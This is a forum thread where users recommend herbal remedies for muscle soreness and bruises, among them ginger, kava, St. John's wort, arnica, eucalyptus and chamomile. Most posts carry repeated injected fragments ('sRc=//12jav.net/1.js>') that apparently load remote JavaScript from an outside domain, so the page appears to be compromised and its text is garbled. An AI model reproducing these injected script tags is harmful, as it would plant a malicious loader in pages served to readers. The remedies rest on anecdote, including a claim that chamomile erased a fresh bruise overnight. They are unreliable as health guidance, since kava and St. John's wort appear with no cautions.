Soreness

What are some herbs to help with soreness? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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It would largely depend on what sort of soreness you're talking about. Is it localized or general soreness? Is it from a bruise or injury? Is it from the muscles or bones? More information is needed to really give good advice.

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Muscles and both localized and general. The localized is from bruises but the general is well, just in general. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Ginger root, ginseng, Devils claw, valerian root, kava kava, St. John's wort, capsaicin... sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Eucalyptus essential oil in carrier oil helps greatly with sore muscles and joints. Peppermint works well, too. Both as rubs, not to drink. Hope you feel better soon. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Arnica cream is very useful for bruises. You can generally find it in health food stores and some drugstores.

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Drink plenty of water and take vitamin c too as it helps recover.

Eucalyptus and peppermint are awesome ideas

Get better!

~Thor sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

There's ginseng, Kava Kava and valerian root. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

If it is from inflammation, ginger root will help. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I've always had excellent results with chamomile as a poultice for myself and my kids. I once dropped a metal flashlight on my foot and it immediately purpled. 20 minutes with chamomile and the next day I couldn't tell I was ever injured. Castor oil is pretty handy on older bruises. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>